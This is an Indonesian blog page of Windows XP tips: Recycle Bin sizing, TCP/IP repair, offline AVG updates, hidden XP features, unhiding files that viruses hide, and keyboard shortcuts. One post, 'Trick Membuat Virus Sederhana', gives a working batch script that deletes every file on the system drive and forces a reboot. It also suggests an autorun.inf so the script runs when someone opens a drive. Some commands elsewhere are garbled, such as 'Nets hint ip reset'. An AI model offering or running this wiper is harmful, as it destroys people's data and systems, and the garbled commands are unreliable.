Senin, 05 Januari 2009

Trick mengurangi ukuran Recycle Bin

Untuk mendapatkan lebih banyak ruang kosong pada hard drive kita banyak cara yang dapat dilakukan, salah satunya adalah dengan mengecilkan kapasitas Recycle Bin karena secara Defaultnya Recycle Bin memakai 10% dari hard drive kita. Caranya adalah sebagai berikut ;

Klik kanan Recycle Bin  Properties

Kita dapat mengatur besarnya persentase yang akan kita alokasikan untuk Recycle Bin. Jika kita memiliki ruang harddisk berkapasitas besar, kita bisa menggunakan 2-3% untuk Recycle Bin .
Selengkapnya...

Trick memperbaiki koneksi TCP/IP yang terputus

Masalah yang timbul pada koneksi TCP/IP merupakan masalah yang dianggap rumit, contohnya jika tiba-tiba koneksi terputus tampa gejala sebelumnya dan ketika diperiksa ternyata semua terlihat lancer, tetapi kita tidak dapat melakukan hubungan melalui protocol TCP/IP. Berikut cara yang mungkin berguna jika anda mengalami hal tersebut :

1.Gunakan Automated Repair. Klik kanan pada koneksi yang terputus pada Network Connections  klik status  tab status, lalu klik repair
2.Reset Router Anda. Jika anda memiliki jaringan dirumah, permasalahan mungkin terjadi pada router atau pada koneksi antara router dengan broadband provider anda. Ikuti cara yang diberikan kepada anda tentang cara mereset router.
3.Reset kabel modem atau DSL modem.
4.Jika semua usaha diatas gagal, Reset TCP/IP ke keadaan original, dengan cara menggunakan perintah : Nets hint ip reset [log_file], dimana Log_file merupakan kegiatan NetShell yang akan dicatat.


Selengkapnya...

Minggu, 28 Desember 2008

Trick Mengupdate AVG Bagi Pengguna Offline (manual Update)

Jika tidak terhubung internet, maka sebelumnya kita perlu download file update yang telah disediakan. Bisa download dari alamat http://free.grisoft.com/doc/update/us/frt/0 di bagian Priority updates. Disana disediakan beberapa update yang bisa kita pilih.
Tetapi sebelumnya kita harus mengenali versi AVG yang ada di komputer kita. Untuk mengetahuinya, buka AVG ( double klik icon avg yang ada di systray ( biasanya pojok kanan bawah), dan perhatikan keterangan di status bar programnya. Seperti contoh berikut :


Setelah diketahui versi program dan database, maka kita buka alamat web untuk download file update yang diperlukan. Tampilannya seperti berikut (Priority Upedate) :
Punyaku 7.5.503 269.19.21/1137 2/6/2008 12:00 AM

Berikut penjelasannya
• Bagian 1,2,3 dan 4 untuk mengupdate program AVG menjadi versi sesuai yang ditampilkan. Misalnya no 1 untuk mengupdate program AVG ( semua modul) menjadi versi 7.5.516. Khusus no 3 merupakajn update untuk Linux. Jika AVG anda versinya dibawah 7.5.516 maka sebaiknya download juga update nomor 1, nomor 2 dan 4 tidak perlu.
• Update 5,6 dan 7 untuk mengupdate Database virus menjadi versi 269.19.20. Ini bisa disesuaikan dengan versi database virus pada program AVG yang ada dikomputer kita. Jika versi database virus lebih dari 269.0.0 dan kurang dari 269.19.0, maka download update nomor 6. Jika versinya sudah 269.19.0 atau diatasnya, maka cukup download nomor 5 ( yang berukuran paling kecil ). Sebaliknya jika versi virus database dibawah 269.0.0 maka download nomor 7.
• Untuk update IAVI ( nomor 8 ) mempunyai ukuran yang paling besar. Jika release terakhir adalah update ini, maka agar AVG update ke versi terakhir, memang harus download file ini. Seperti tampilan diatas, update nomor 5,6, dan 7 hanya sampai tanggal 4 februari 2008, sedangkan nomor 8 sudah sampai tanggal 5 februari 2008.
Setelah file update ( berakhiran *.bin) sudah berhasil di download, maka langkah update dapat dilakukan sebagai berikut:
1. Buka AVG, pilih Komponen Anti-Virus
2. Klik Tombol Update, kemudian dari window yang muncul, klik tombol folder. dan cari dimana lokasi file yang telah kita download tadi. Maka akan muncul pesan bahwa Update baru telah ditemukan, dan muncul konfirmasi apakah akan diupdate, maka pilih Yes.
3. Maka proses update akan berlangsung, tunggu sampai selesai

Keterangan
Jika ketika di klik tombol Update, AVG langsung mencoba update ke Internet, dan tidak ditampilkan pilihan apakah kita akan update langsung melalui Internet atau folder, maka bisa settingnya perlu diubah. Caranya pilih Komponen Update Manager ( di tampilan utama AVG ) dan klik tombol Properties. Hilangkan check di opsi Do not ask for the update source, kemudian klik Apply. Dan ulangi proses update.

Selengkapnya...

Tips Menggunakan Fitur tersembunyi pada Windows XP

Meski sekarang telah hadir sistem Vista yang menjadi penerus XP, tapi pengguna sistem oberasi XP masih banyak. Sebenarnya Windows XP sendiri sudah banyak menyediakan fitur yang bisa memudahkan user dalam pekerjaan, tetapi masih banyak juga user XP yang tidak menggunakan atau bahkan tidak mengetahui fitur ini, apalagi pada Windows XP juga terdapat beberapa fitur yang tersembunyi. Berikut ada beberapa fitur yang bisa kamu manfaatkan untuk memaksimalkan windows XP.

System Info
Pada Windows XP telah menyediakan sistem info yang bisa menjelaskan seluruh sistem yang digunakan XP saat itu. Jadi kamu bisa mendeteksi bila merasakan adanya peningkatan atau penurunan kinerja dari system XP. Agar bisa mengetahui seluruh info system tadi, kamu juga bisa memanfaatkan systeminfo. Kemudian dengan melalui system info, kamu bisa langsung mengakses Command Prompt yang terdapat dalam menu accessories lalu mengetiknya dengan “systeminfo”.
Bila kamu ingin menyimpan catatan tadi, pada Command Prompt ketik ‘systeminfo > info.txt’. Dengan begitu XP akan menyimpan catatan tadi kedalam sebuah file yang bernama info.txt. Kamu bisa membuka file tadi dengan notepad
(Catatan : Fitur ini hanya untuk Windows XP Profesional Edition)

gpedit.msc
Sebenarnya pada Windows XP kamu bisa menghapus file – file yang tidak dibutuhkan secara langsung, dan tidak harus dipindahkan dulu kedalam Recycle Bin, karena secara default file yang telah dihapus pada XP pertama kali akan dipindahkan pada Recycle Bin terlebih dahulu.
Untuk bisa langsung menghapus file tadi, pada menu Start pilih Run, lalu ketik ‘gpedit.msc’, lalu pilih User Configuration, Administrative Templates, Windows Components, Windows Explorer dan cari seting Do not move deleted files to the Recycle Bin, set pilihan tersebut. Didalam gpdit terdapat banyak pilihan interface serta system, sebaiknya kamu berhati – hati dalam menset fitur didalamnya.
(Catatan : Fitur ini hanya untuk Windows XP Profesional Edition)

LockWorkStation
Pada XP kamu bisa mengunci komputer dengan dua klik pada mouse. Sebelumnya kamu harus membuat sebuah shortcut pada desktop. Buatlah sebuah shortcut pada desktop dengan mengklik kanan mouse. Kemudian memasukan ‘rundll32.exe user32.dll, LockWorkStation’ pada location field. Beri nama shortcut tadi sesuai keinginan.
Nah sekarang kamu bisa menguni komputer dengan mengklik dua kali padashortcut yang dibuat tadi.

sysoc.inf
Sebagian dari beberapa system software disembunyikan oleh XP. Bila ingin meremove software tadi, kamu harus menampilkan aplikasinya terlebih dahulu, seperti Windows Messenger. Untuk menampilkan system software yang disembunyikan oleh XP, kamu bisa menggunakan notepad atau text editor lainnya.
Buka file sysoc.inf (/windows/inf/sysoc.inf), cari kata ‘hide’, dan hapuslah. Selanjutnya kamu bisa meremovenya pada Add/Remove Windows Components yang terdapat pada Control Panel, lalu cari aplikasi yang ingin di Remove.

Evencreate /?
Bagi yang paham dengan file batch DOS, Windows XP mempunyai beberapa command baru yang cukup menarik. Termasuk diantaranya adalah ‘eventcreate’ dan ‘eventtrigers’ untuk membuat dan melihat system, ‘typeperf’ untuk memonitor performa dari variasi sub system, dan ‘schtasks’ untuk menghandle task schedule. Bila ingin lebih tau fittur dari beberapa command yang tersedia. Kamu bisa menyertakan tanda /? Dibelakang nama command tadi.

IPv6
Windows XP mempunyai IP versi 6 (generasi terbaru dari IP versi IP). Bila kamu tidak mempunyai ISP, kamu bisa melakukan eksperimen dengan vasilitas ini pada LAN (Local Area Network). Ketik ‘ipv6 install” pada box Run. Tidak masalah bila fitur ini berjalan setup jaringan yang tidak eksis. Bila kamu belum mengerti apa itu IPv6, jangan kuatir, karena satu saat fitur ini akan berguna bila komputer terhubung pada sebuah LAN.

Taskkill / pid
Bila kamu ingin membersihkan task yang terakhir pada komputer dari command line, kamu bisa menggunakan perintah ‘taskkill/pid’ , atau hanya dengan perintah ‘tskill’ saja. Sedangkan untuk proses pencarian task, kamu bisa menggunakan perintah ‘tasklist’, dengan begitu deretan task akan ditampilkan.

Zipfldr
Kelebihan dari Windows XP lainnya adalah kemampuannya menampilkan file zip sebagai folder, dengan begitu kamu bisa langsung melihat deretan file yang terdapat pada file zip tadi, tapi fitur ini bagus untuk komputer yang berjalan cepat. Bila kamu mempunyai komputer yang kurang cepat, maka fitur tadi bisa memperlambat kinerja.
Untuk itu kamu bisa menghilangkan atau menonaktifkan fitur tersebut, Kamu bisa menggunakan perintah ‘regsvr32/u zipfldr.dll’. Ketik perintah tadi pada command line. Bila kamu ingin mengaktifkannya kembali, kamu bisa mengetik ulang perintah ‘regsvr32 zipfldr.dll’ pada command line

Clear Type
Pada Windows XP juga mempunyai “ClearType” (teknologi Microsoft untuk anti alias font), Tapi fitur ini tidak dijadikan default, yang artinya secara default fitur “Clear Type” adalah non-aktif. Untuk mengaktifkan fitur “Clear Type” klik kanan pada desktop, pilih properties, Appearance, Effects, lalu pilih Clear Type dari menu Drop Down, aktifkan pilihan tadi. Pilihan ini akan tampak sekali pada display laptop. Bila kamu ingin menggunakan “Clear Type” pada screen Welcome Login, set registry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType dengan mengisi nilai 2

Remote Assistance
Windows XP juga menyediakan fitur Remote Assistance yang bisa digunakan untuk membantu rekan dalam penggunaan network address translation (NAT) pada sebuah jaringan kecil, tapi tidak secara otomatis. Invite teman kamu dengan menggunakan e-mail, dan edit file tadi. Dibawah atribut RCTICKET akan ditampilkan sebuah NAT IP Address, seperti 192.168.1.10
Ganti IP tadi dengan IP kamu sendiri (Kamu bisa mencarinya pada www.whatismyip.com) dan kamu bisa mengambilnya. Untuk menjalankannya, pastikan port 3389 telah dibuka.

User Name
Pada Windows Xp, kamu bisa menjalankan sebuah program dengan user yang berbedatanpa harus melakukan logging out dan kembali lagi. Kamu bisa menjalankan program tadi dengan mengklik kanan iconnya dapilih Run As .., lalu memasukan user name dan passwordnya. Trik ini banyak digunakan pada saat menginstall program yang diinginkan user Administrator. Jadi kamu bisa menkalankan program tadi tanpa harus keluar dan balik lagi.

Control userpasswords2
Bila kamu ingin saat start tidak harus mengisikan user name atau password. Pilih Run dari start menu, dan ketik ‘control userpasswords2’, maka akan dibukakan aplikai account. Pada User tab, hilangkan tanda cawing pada “Users Must Enter A Username And Password To Use This Computer”, dan klik OK.
Maka sebuah dialog “Automatically Log On” akan ditampilkan, memasukan nama dan passwordnya untuk account yang diinginkan.

File Temporary
Bila kamu maing menggunakan Internet Explorer 6 dan ingin agar browser tadi secara otomatis menghapus file temporary, maka kamu harus mengsetingnya terlebih dahulu, karena secara default Internet Explorer 6 akan menyimpan file temporary tadi dihapus secara otomatis, jalankan browser, pilih tool, Internet Options pilih Advance tab.
Rool slide bar ke bawah sampai pada pilihan security, lalu tandai box “Empty Temporary Internet Files folder when browser is closed”.

Start Menu
Bila dirasa tampilan Start Menu Terlalu lama, maka kamu bisa mempercepatnya dengan mengubah sistem registrynya. Masuk pada HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay, disitu akan terdapat nilai delaynya 400 (default). Kamu bisa mengubahnya dengan nilai delaynya jadi 0 untuk mempercepat proses.
Selamat Mencoba

Selengkapnya...

Sabtu, 27 Desember 2008

Trick Membuat Virus Sederhana

VirusVirus komputer merupakan program komputer yang dapat menggandakan atau menyalin dirinya sendiri dan menyebar dengan cara menyisipkan salinan dirinya ke dalam program atau dokumen lain.
Nah, kali ini saya akan memberikan salah satu contoh untuk membuat contoh program virus (lebih tepat disebut program perusak) yang sangat sederhana. Program ini akan mengapus seluruh folder dan file pada suatu drive.
Mohon jangan mencoba pada komputer orang lain……….

Virus ini sangat berbahaya. Sebelum mencoba, sebaiknya anda backup dulu data-data Anda… he..he… Setelah menjalankan program ini, sistem operasi Anda tidak akan ada lagi, sehingga Anda harus install ulang lagi (capee. deh…). So, ngga usah nyoba deh…ck..ckk..
Ketik program berikut dengan notepad, dan simpan dengan ekstensi bat, misalnya virus.bat

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

PERHATIAN : Program ini akan menghapus sistem Anda , makanya berhati-hatilah. Saya tidak bertanggung jawab atas semua yang terjadi, silahkan tanggung resiko sendiri.. ck..ckk..

Sebagai tambahan, Anda dapat juga menggunakan kode program berikut. Perintah ini hanya akan me-restart komputer Anda.. Anda aman untuk mencobanya. Sama seperti program virus.bat, program di bawah ini juga harus disimpan dengan ekstensi .bat, misalnya restart.bat

@echo off
shutdown -r -f -t 00

Anda dapat berimprovisasi dengan menambahkan sebuah file autorun.inf file untuk menjalankan program tersebut ketika seseorang melakukan klik ganda pada sebuah drive.

Selengkapnya...

Trick Memunculkan File Yang Disembunyikan Virus

Ada salah satu pola penyerangan Virus, misalnya Virus yang dibuat dengan Delphi yang ukuran induk virusnya cukup besar untuk ukuran sebuah Virus, uniknya, Induk Virus tersebut benar-benar memakan file-file si korban dengan cara menyembunyikannya ke dalam tubuhnya dan akan mengeluarkan file yang disembunyikan tersebut bila si korban mengeksekusi file tersebut (misal winword.exe). Saat dieksekusi dan dikeluarkan dari tubuh induk Virus itulah file tersebut terinfeksi, dimana Virus menginjeksinya dengan malicious script, sekaligus mengaktifkan script tersebut di komputer si korban.....

Seringkali bisa kita temui pola serangan Malware semacam Virus adalah dengan pemalsuan Data/File Asli dengan Data/File Palsu, dimana Data/File asli dari korban sengaja disembunyikan dan diganti dengan Executable File yang ber-Icon menyerupai Icon data asli yang disembunyikan untuk mengelabuhi korban.

Sedangkan teknik penyembunyian File oleh Virus itu sendiri dilakukan dengan Mengganti File Attribute pada data/file yang akan disembunyikan, dimana Virus akan memberikan File Attribute baru, yaitu: hidden dan system plus modifikasi registry untuk mengganti default/current Folder Options Settings (baik bila Folder Options sengaja disembunyikan atau tidak oleh Virus).

SOLUSI:

:: OPSI 1 ::
Anda bisa gunakan “attrib.exe” melalui Windows DOS Mode:
(1) Pada OS Windows, Masuk ke DOS Mode dengan klik “Run”, lalu, Ketik “cmd” (winXP) atau “command” (Win98), kemudian klik “OK”,
(2) Dengan asumsi Drive Letter dari Lokasi data-data yang disembunyikan pada Drive Anda misal Drive D:, maka pada DOS window Ketik “D:” lalu tekan [ENTER], kemudian Ketik: “attrib -r -h -s D:\*.* /s /d“ (tanpa tanda “), lalu tekan [ENTER].
Setelah itu, coba Anda cek data-data pada drive D: Anda, Insya Allah data yang disembunyikan Virus akan terlihat kembali.

:: OPSI 2 ::
Lakukan Pemulihan Folder Options Settings (Folder Options Recovery From Virus Attack) dengan me-recover Windows Registry Keys yang telah dirubah Virus . Untuk keperluan ini, saya telah membuatkan File Registry Entry (”Folder_Options_Recovery_-_Show_All_Files.reg“) yang bisa Anda Download dari 4Shared atau divShare, dan bisa diaplikasikan langsung ke Windows Registry Database dengan cara Klik Kanan File Registry Entry tersebut => lalu Klik “Merge” untuk memunculkan semua Data/File yang disembunyikan Virus.

Setelah Semua Data/File yang disembunyikan Virus dimuncukan kembali, kemudian Anda bisa gunakan third party Software seperti: Attribute Changer untuk mengubah kembali File Attributes (File Attribute Recovery) pada Data/File Yang disembunyikan Virus tersebut. Kenapa File Attributes perlu dirubah? Karena Walaupun semua Data/File yang disembunyikan Virus telah berhasil dimunculkan kembali, namun Data/File tersebut masih ber-file attribute hidden dan system; Dan bilamana System Files Anda sembunyikan kembali tanpa melakukan pengubahan File Attributes pada Non-System-Files, celakanya, Semua Data/File Anda tersembunyi lagi. Dan tentu saja untuk alasan keamanan, Anda tidak ingin semua System Files Anda juga ikut kelihatan, kan?

Untuk mengubah kembali File Attributes (File Attribute Recovery) pada Data/File Yang disembunyikan Virus, Klik kanan pada semua Data/File yang akan dirubah/di-recover file attributenya, lalu pilih “Change Attributes” dari Shell Context-Menu untuk membuka Attribute Changer window. Kemudian hilangkan tanda centang (unchecked) di dalam Check Box pada tulisan Hidden dan System, lalu Klik “Apply dan “OK” atau langsung saja Klik “OK”. Setelah itu, coba Anda cek data-data pada internal/external harddrive atau UFD (USB Flash Disk) Anda, Insya Allah Data/File yang disembunyikan Virus akan terlihat normal kembali; namun bila belum, coba Refresh Explorer Anda dengan cara Klik kanan Desktop/Explorer, lalu pilih dan klik “Refresh”. Menurut pengalaman Penulis, langkah ini tidak memerlukan Restart Windows.

Tool kecil ini sangat bermanfaat terutama apabila File Windows attrib.exe telah dirusak atau dihapus Virus.
Software gratis yang cara menjalankannya lewat Shell Context Menu (Menu Klik Kanan) ini sebenarnya memiliki tiga kemampuan untuk:
(a) Merubah File Attributes secara lebih mendetail/komplet,
(b) Modifikasi Date/Time (Created/Accessed/Modified) File yang sudah dibuat sebelumnya. Hmm..tool kecil ini ternyata bisa digunakan untuk manipulasi Entry Data di komputer kantor atau di komputer Dosen :mrgreen: Jangan deh ya! (lanjut..)
(c) Mengubah Kompresi NTFS

Attribute-Changer.jpg


Sebelum menggunakan attrib.exe ataupun melakukan Folder Options Reccovery ataupun melakukan Instalasi dan Pemakaian Attribute Changer, pastikan Virus di komputer yang terinfeksi dibasmi/dimatikan terlebih dahulu dengan AntiVirus yang bisa diandalkan dengan Virus Database yang ter-up-to-date. Biasanya sudah cukup hanya dengan mematikan File Induk Virus-nya saja, anak-anak-nya Virus biarkan saja hidup jadi anak Yatim-Piatu (status: Orphan) . Bila Virus masih hidup/aktif di memory komputer, Virus akan menyembunyikan kembali File-File yang disembunyikan Virus dengan mengubah kembali File Attributes dari File-File tersebut ke “hidden” dan “system” baik segera setelah File Attributes kita ubah ataupun setelah Restart Windows; jadi akan sia-sia upaya kita mengembalikan File Attributes-nya.

Selengkapnya...

kamus shortcut windows XP

Tombol :
Alternative [Alt]
---------------------------------------------------------
Alt+F4(Close)
Alt+Tab( Ganti Windows Yang Aktif )
Alt+klik kiri # pada folder # ( Melihat Properties Folder Tersebut )
Alt # pada sebuah window # ( Perintah Select ke Menu pada Window tersebut )
Alt + PrintScreen ( Mengcopy tampilan pada jendela yang aktif )......

Tombol :
Control [Ctrl]
--------------------------------------------------------
Ctrl + Esc ( Pengganti Fungsi tombol Win key )
Ctrl + X ( Perintah Cut )
Ctrl + Z ( Perintah Undo )
Ctrl + C ( Perintah Copy )
Ctrl + V ( Perintah Paste )
Ctrl + A ( Perintah Select All )
Ctrl + O ( Perintah open File # Default # )
Ctrl + S ( Perintah Save File # Default # )
Ctrl + P ( Perintah Print Documen # Default # )
Ctrl + F ( Perintah Find Word # Default # )
Ctrl + H ( Perintah Replace Word # Default # )
Ctrl = Print Screen ( Mengcopy Semua Tampilan Pada Window # Aktif / Tidak Aktif # )

Tombol :
Win [Windows]
-------------------------------------------------------
Win + L ( Lock komputer )
Win + U ( Menampilkan Utility Manager )
Win + R ( Menampilkan Run )
Win + F ( Menampilkan window pencarian )
Win + E ( Membuka My Computer )
Win + D ( Mematikan atau mengaktifkan Toggle Desktop )
Win + M ( Minimize semua window )
Win + Shift + M ( Restore semua window yang di-minimize )
Win + Ctrl + F ( Mencari komputer dalam jaringan )
Win + Break ( Memunculkan window System Properties )
Win + Tab ( Scroll tombol di Taskbar )

Tombol :
Kombinasi
-----------------------------------------------------
Ctrl + Alt + Del/Delete ( Memunculkan Windows Task Manager # Win XP # )
Ctrl + Alt + "+" ( Superscript Pada Word )
Ctrl + Alt + = (Subscript pada word )
Ctrl + Shift + F10 ( Pada game FreeCell Tekan tombol tersebut, dengan memulai terlebih dahulu maka akan menang )
Selengkapnya...